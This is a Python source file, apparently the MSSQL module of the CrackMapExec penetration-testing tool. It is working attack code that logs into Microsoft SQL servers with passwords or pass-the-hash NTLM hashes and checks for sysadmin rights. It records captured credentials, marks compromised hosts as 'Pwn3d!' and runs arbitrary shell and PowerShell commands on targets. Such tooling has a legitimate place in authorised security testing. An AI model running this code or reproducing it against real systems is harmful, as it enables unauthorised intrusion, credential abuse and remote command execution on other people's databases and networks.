import socket import logging from cme.logger import CMEAdapter from StringIO import StringIO from cme.protocols.mssql.mssqlexec import MSSQLEXEC from cme.connection import * from cme.helpers.logger import highlight from cme.helpers.powershell import create_ps_command from impacket import tds from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \ TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE class mssql(connection): def __init__(self, args, db, host): self.mssql_instances = None self.domain = None self.hash = None connection.__init__(self, args, db , host) @staticmethod def proto_args(parser, std_parser, module_parser): mssql_parser = parser.add_parser('mssql', help="own stuff using MSSQL and/or Active Directory", parents=[std_parser, module_parser]) dgroup = mssql_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain name") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') mssql_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') mssql_parser.add_argument("--port", default=1433, type=int, dest='mssql_port', metavar='PORT', help='MSSQL port (default: 1433)') mssql_parser.add_argument("-q", "--query", metavar='QUERY', type=str, help='execute the specified query against the MSSQL DB') mssql_parser.add_argument("-a", "--auth-type", dest='mssql_auth', choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)') cgroup = mssql_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process') cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') xgroup = cgroup.add_mutually_exclusive_group() xgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") xgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') return parser def proto_logger(self): self.logger = CMEAdapter(extra={ 'protocol': 'MSSQL', 'host': self.host, 'port': self.args.mssql_port, 'hostname': u'{}'.format(self.hostname) }) def enum_host_info(self): self.mssql_instances = self.conn.getInstances(10) if len(self.mssql_instances) > 0: for i, instance in enumerate(self.mssql_instances): for key in instance.keys(): if key.lower() == 'servername': self.hostname = instance[key] break try: self.conn.disconnect() except: pass if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.create_conn_obj() def print_host_info(self): if len(self.mssql_instances) > 0: self.logger.info("MSSQL DB Instances: {}".format(len(self.mssql_instances))) for i, instance in enumerate(self.mssql_instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) def create_conn_obj(self): try: self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() except socket.error: return False return True def check_if_admin(self): try: #I'm pretty sure there has to be a better way of doing this. #Currently we are just searching for our user in the sysadmin group self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'") query_output = self.conn.printRows() if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1: self.admin_privs = True except: return False return True def plaintext_login(self, domain, username, password): res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False) if res is not True: self.conn.printReplies() return False self.password = password self.username = username self.domain = domain self.check_if_admin() self.db.add_credential('plaintext', domain, username, password) if self.admin_privs: self.db.link_cred_to_host('plaintext', domain, username, password, self.host) out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), highlight('(Pwn3d!)') if self.admin_privs else '') self.logger.success(out) return True def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False) if res is not True: self.conn.printReplies() return False self.hash = ntlm_hash self.username = username self.domain = domain self.check_if_admin() self.db.add_credential('hash', domain, username, ntlm_hash) if self.admin_privs: self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host) out = u'{}\\{} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), ntlm_hash, highlight('(Pwn3d!)') if self.admin_privs else '') self.logger.success(out) return True def mssql_query(self): self.conn.sql_query(self.args.mssql_query) return conn.printRows() @requires_admin def execute(self, payload=None, get_output=False): if not payload and self.args.execute: payload = self.args.execute if not self.args.no_output: get_output = True exec_method = MSSQLEXEC(self.conn) logging.debug('Executed command via mssqlexec') if self.cmeserver: self.cmeserver.track_host(self.host) output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8')) if self.args.execute or self.args.ps_execute: self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: self.logger.highlight(line.strip()) return output @requires_admin def ps_execute(self, payload=None, get_output=False): if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: get_output = True return self.execute(create_ps_command(payload), get_output) #We hook these functions in the tds library to use CME's logger instead of printing the output to stdout #The whole tds library in impacket needs a good overhaul to preserve my sanity def printRowsCME(self): if self.lastError is True: return out = '' self.processColMeta() #self.printColumnsHeader() for row in self.rows: for col in self.colMeta: if row[col['Name']] != 'NULL': out += col['Format'] % row[col['Name']] + self.COL_SEPARATOR + '\n' return out def printRepliesCME(self): for keys in self.replies.keys(): for i, key in enumerate(self.replies[keys]): if key['TokenType'] == TDS_ERROR_TOKEN: error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')) self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le'))) self._MSSQL__rowsPrinter.error(error) elif key['TokenType'] == TDS_INFO_TOKEN: self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))) elif key['TokenType'] == TDS_LOGINACK_TOKEN: self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow'])) elif key['TokenType'] == TDS_ENVCHANGE_TOKEN: if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE): record = TDS_ENVCHANGE_VARCHAR(key['Data']) if record['OldValue'] == '': record['OldValue'] = 'None'.encode('utf-16le') elif record['NewValue'] == '': record['NewValue'] = 'None'.encode('utf-16le') if key['Type'] == TDS_ENVCHANGE_DATABASE: _type = 'DATABASE' elif key['Type'] == TDS_ENVCHANGE_LANGUAGE: _type = 'LANGUAGE' elif key['Type'] == TDS_ENVCHANGE_CHARSET: _type = 'CHARSET' elif key['Type'] == TDS_ENVCHANGE_PACKETSIZE: _type = 'PACKETSIZE' else: _type = "%d" % key['Type'] self._MSSQL__rowsPrinter.info("ENVCHANGE(%s): Old Value: %s, New Value: %s" % (_type,record['OldValue'].decode('utf-16le'), record['NewValue'].decode('utf-16le'))) tds.MSSQL.printReplies = printRepliesCME tds.MSSQL.printRows = printRowsCME